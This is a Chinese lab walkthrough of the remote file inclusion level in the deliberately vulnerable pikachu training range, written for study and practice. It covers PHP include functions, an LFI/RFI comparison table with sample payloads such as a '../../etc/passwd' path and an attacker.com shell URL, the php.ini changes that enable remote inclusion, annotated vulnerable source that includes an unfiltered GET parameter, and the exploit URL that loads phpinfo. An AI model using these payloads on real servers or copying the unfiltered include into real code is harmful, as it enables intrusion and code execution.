当前位置: 首页 > news >正文

pikachu靶场通关笔记31 文件包含02之远程文件包含

目录

一、文件包含功能

二、文件包含Vulnerability

二、远程文件包含

三、环境配置

1、进入靶场

2、搭建环境 

(1)定位php.ini文件

(2)修改php.ini文件

四、源码分析

五、渗透实战

1、选择科比

2、执行phpinfo

(1)获取脚本地址

(2)远程文件包含渗透


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件包含关卡(File Inclusion)源码的代码审计找到产生缺陷的真实原因,讲解远程文件包含关卡的原理并进行渗透实践。

一、文件包含功能

文件包含是Web开发中常用的功能,允许程序动态加载外部文件(如HTML模板、配置文件或代码库),以提高代码复用性。在PHP中,主要通过以下函数实现:

  • include:包含文件,失败时警告但继续执行。

  • require:包含文件,失败时终止程序。

  • include_once/require_once:避免重复包含。

二、文件包含Vulnerability

文件包含Vulnerability(File Inclusion Vulnerability)是指Web应用程序在包含文件(如PHP的includerequire等函数)时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件(如服务器上的敏感文件或远程脚本),从而造成任意代码执行(RCE)敏感信息泄露

开发者常常会使用文件包含函数,像 PHP 的include()require()include_once()require_once()等,把其他文件内容包含到当前页面中。若程序没有对用户输入的文件路径进行严格过滤与验证,攻击者就能够通过构造特殊的输入,让应用程序包含恶意文件。

二、远程文件包含

远程文件包含(Remote File Inclusion,RFI)通常出现在服务器端脚本语言(如PHP、Java等)中。当应用程序通过用户输入动态地包含远程服务器上的文件时,如果没有对输入进行严格过滤和验证,攻击者可以利用远程文件包含缺陷将恶意文件放置在远程服务器上,并通过构造包含恶意文件URL的请求,让目标应用程序加载并执行该文件。

文件包含分为本地文件包含和远程文件包含,两者区别如下所示。

对比项本地文件包含(LFI)远程文件包含(RFI)
定义包含服务器本地的任意文件包含远程服务器上的恶意脚本文件
攻击目标读取敏感文件(如/etc/passwd、配置文件)直接执行远程恶意代码(如WebShell)
利用方式通过../等遍历目录通过URL包含http://ftp://远程资源
PHP配置要求无需特殊配置allow_url_include=On(默认关闭)
危害等级中高危(信息泄露)严重(直接RCE,服务器沦陷)
典型攻击载荷?file=../../etc/passwd?file=http://attacker.com/shell.php
依赖条件文件路径可控1. 路径可控
2. 服务器能访问外网
常见防御措施1. 白名单限制文件路径
2. 禁用目录遍历符号
1. 关闭allow_url_include
2. 过滤http://等协议
渗透测试用途1. 窃取配置文件
2. 结合日志注入执行代码
1. 直接获取服务器权限
2. 植入后门
伪协议利用支持(如php://filter读取文件内容)支持(如php://input直接执行POST代码)

三、环境配置

1、进入靶场

进入pikachu靶场的远程文件包含关卡,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php

进入到远程包含关卡页面后发现提示“warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该关卡,记得修改后,重启中间件服务!”,需要配置环境满足条件,具体如下所示。 

2、搭建环境 

将php.ini文件里的allow_url_include改成On,远程文件包含的前提是需要满足如下条件。

allow_url_fopen=On (默认打开)
allow_url_include=On(默认关闭,所以要手动改为On)

(1)定位php.ini文件

方法1:①打开小皮工具,依次点击设置—配置文件—php.ini—php版本号

方法2:②找到小皮工具文件夹—Extensions—php—php版本号—php.ini

(2)修改php.ini文件

 按照下图查找并修改php.ini文件,开启allow_url_include和allow_url_fopen,切记修改之后重启小皮apache,否则不生效

四、源码分析

打开piakchu靶场的源码目录,找到file_remote.php,具体如下所示。

源码的主要功能是动态包含服务器本地或远程文件,经过详细注释的源码如下所示。

// 远程文件包含风险的演示代码
$html = ''; // 初始化HTML输出变量// 检查是否提交了表单且filename参数不为空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接获取用户输入的filename参数include "$filename"; // 关键点:直接包含用户可控的变量,无任何过滤!
}

 不过这段代码有文件包含安全风险,如果allow_url_include=On配置打开还有远程包含安全风险,原因如下所示。

原因具体问题
未过滤用户输入直接使用$_GET['filename'],攻击者可注入恶意路径。
危险函数调用include直接执行文件内容,若包含PHP文件会解析代码。
配置依赖php.ini中开启allow_url_include=On(默认关闭),否则仅能本地文件包含(LFI)。

五、渗透实战

1、选择科比

重启Apache后重试pikachu靶场远程文件上传,选择科比,留意当前URL地址,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#

此时进入到远程文件包含页面,已无3.1部分的警告信息,具体如下所示。 

选择第一个运动员科比,留意URL地址,此时filename被赋值为filename=include%2Ffile1.php,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

2、执行phpinfo

(1)获取脚本地址

在pikachu靶场的test目录中,存在phpinfo.txt文件,其完整的URL地址如下所示。

http://127.0.0.1/pikachu/test/phpinfo.txt

(2)远程文件包含渗透

 将5.1部分的filename=include/file1.php换成phpinfo的链接地址,具体如下所示。

filename=http://127.0.0.1/pikachu/test/phpinfo.txt

这样远程文件包含渗透的完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

如下所示成功获取到服务器的php信息,渗透成功。 

相关文章:

  • 中医穴位学习工具推荐,专业经络穴位图解
  • 【AS32系列MCU调试教程】调试工具:Eclipse调试工具栏与窗口的深入分析
  • 【模板】埃拉托色尼筛法(埃氏筛)
  • 【Linux系统编程】线程概念
  • Java 常用类 Math:从基础到高阶应用指南
  • EffRes-DrowsyNet:结合 EfficientNetB0 与 ResNet50 的新型混合深度学习模型用于驾驶员疲劳检测算法实现
  • 源端串联端接
  • 智能集运重塑反向海淘:系统破解物流困局
  • Java大模型开发入门 (9/15):连接外部世界(中) - 向量嵌入与向量数据库
  • 【精华】这样设计高性能短链生成系统
  • 人工智能:警惕人工智能对文学语言的侵蚀与固化。影响设计各个方面,影响的是好还是坏?
  • 高速隔直电容设计
  • 【Zephyr 系列 25】多芯片协同设计:主控 + BLE + LoRa 芯片的统一调度与消息系统
  • Flower框架中noise_multiplier与clipped_count_stddev的关系
  • 从 C 语言计算器到串口屏应用
  • 基于SpringBoot+JSP开发的招投标采购信息平台
  • 万物皆数:构建数字信号处理的数学基石
  • window11等禁止系统更新的设置
  • IEEE 802.16e 标准下的LDPC 码
  • 2025虚幻引擎一般用什么模型格式